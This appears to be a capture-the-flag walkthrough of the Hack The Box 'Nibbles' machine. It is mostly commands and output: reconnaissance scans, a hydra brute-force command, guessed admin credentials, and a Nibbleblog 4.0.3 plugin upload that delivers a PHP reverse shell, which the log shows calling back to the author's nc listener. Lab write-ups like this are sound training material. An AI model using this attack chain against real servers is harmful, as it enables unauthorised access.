1. ping 10.10.10.75

PING 10.10.10.75 (10.10.10.75) 56(84) bytes of data.

64 bytes from 10.10.10.75: icmp\_seq=1 ttl=63 time=193 ms

64 bytes from 10.10.10.75: icmp\_seq=2 ttl=63 time=193 ms

64 bytes from 10.10.10.75: icmp\_seq=3 ttl=63 time=194 ms

64 bytes from 10.10.10.75: icmp\_seq=4 ttl=63 time=194 ms

64 bytes from 10.10.10.75: icmp\_seq=5 ttl=63 time=195 ms

64 bytes from 10.10.10.75: icmp\_seq=6 ttl=63 time=193 ms

64 bytes from 10.10.10.75: icmp\_seq=7 ttl=63 time=194 ms

64 bytes from 10.10.10.75: icmp\_seq=8 ttl=63 time=195 ms

64 bytes from 10.10.10.75: icmp\_seq=9 ttl=63 time=194 ms

64 bytes from 10.10.10.75: icmp\_seq=10 ttl=63 time=196 ms

^C

--- 10.10.10.75 ping statistics ---

10 packets transmitted, 10 received, 0% packet loss, time 9039ms

rtt min/avg/max/mdev = 192.648/193.978/195.647/0.824 ms

ttl 63 linux box.

1. Nmap -A -Pn -p- 10.10.10.75 –min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-11 12:01 EDT

Warning: 10.10.10.75 giving up on port because retransmission cap hit (10).

Nmap scan report for 10.10.10.75

Host is up (0.20s latency).

Not shown: 64511 closed ports, 1022 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)

| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)

|\_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|\_http-server-header: Apache/2.4.18 (Ubuntu)

|\_http-title: Site doesn't have a title (text/html).

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.91%E=4%D=5/11%OT=22%CT=2%CU=35951%PV=Y%DS=2%DC=T%G=Y%TM=609AAA9

OS:0%P=x86\_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10F%TI=Z%CI=I%II=I%TS=8)OPS

OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1

OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN

OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A

OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R

OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F

OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%

OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD

OS:=S)

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 277.47 ms 10.10.14.1

2 278.00 ms 10.10.10.75

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 61.15 seconds

1. gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <http://10.10.10.75>

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)

===============================================================

[+] Url: http://10.10.10.75

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===============================================================

2021/05/11 12:04:06 Starting gobuster

===============================================================

/server-status (Status: 403)

===============================================================

2021/05/11 13:23:28 Finished

1. nikto -host <http://10.10.10.75/nibbleblog>

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP: 10.10.10.75

+ Target Hostname: 10.10.10.75

+ Target Port: 80

+ Start Time: 2021-05-11 13:55:56 (GMT-4)

---------------------------------------------------------------------------

+ Server: Apache/2.4.18 (Ubuntu)

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ Cookie PHPSESSID created without the httponly flag

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ OSVDB-29786: /nibbleblog/admin.php?en\_log\_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.

+ OSVDB-29786: /nibbleblog/admin.php?en\_log\_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.

+ OSVDB-3268: /nibbleblog/admin/: Directory indexing found.

+ OSVDB-3092: /nibbleblog/admin.php: This might be interesting...

+ OSVDB-3092: /nibbleblog/admin/: This might be interesting...

+ OSVDB-3092: /nibbleblog/README: README file found.

+ OSVDB-3092: /nibbleblog/install.php: install.php file found.

+ OSVDB-3092: /nibbleblog/LICENSE.txt: License file found may identify site software.

+ 7866 requests: 0 error(s) and 15 item(s) reported on remote host

+ End Time: 2021-05-11 14:24:58 (GMT-4) (1742 seconds)

---------------------------------------------------------------------------

+ 1 host(s) testedhttp://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=install&plugin=my\_image

1. now open url <http://10.10.10.75/nibbleblog/admin.php> I used hydra to crack password but is was not successful.

hydra -l 'admin' -P /opt/bipin/htbmachines/nibbles/passwordlist/rockyou.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^&Login:Incorrect username or password."

1. Now I just guess common user credentials like admin/admin , admin/pass123, admin/123456 and admin/nibbles the admin/nibbles worked.
2. <http://10.10.10.75/nibbleblog/README> gave the following information.

====== Nibbleblog ======

Version: v4.0.3

Codename: Coffee

Release date: 2014-04-01

Nibbleblog v4.0.3

1. Google the Nibbleblog v4.0.3 exploit found the following link

<https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html>

1. From pentestmonkey.net downloaded the revershell.php and renamed as image.php
2. Uploaded the image.php using below url

<http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image>

1. Started the listener nc -nlvp 1234
2. Open the url <http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php>
3. nc -nlvp 1234

listening on [any] 1234 ...

connect to [10.10.14.15] from (UNKNOWN) [10.10.10.75] 54336

Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86\_64 x86\_64 x86\_64 GNU/Linux

12:17:12 up 32 min, 0 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

/bin/sh: 0: can't access tty; job control turned off

$ whoami

nibbler

$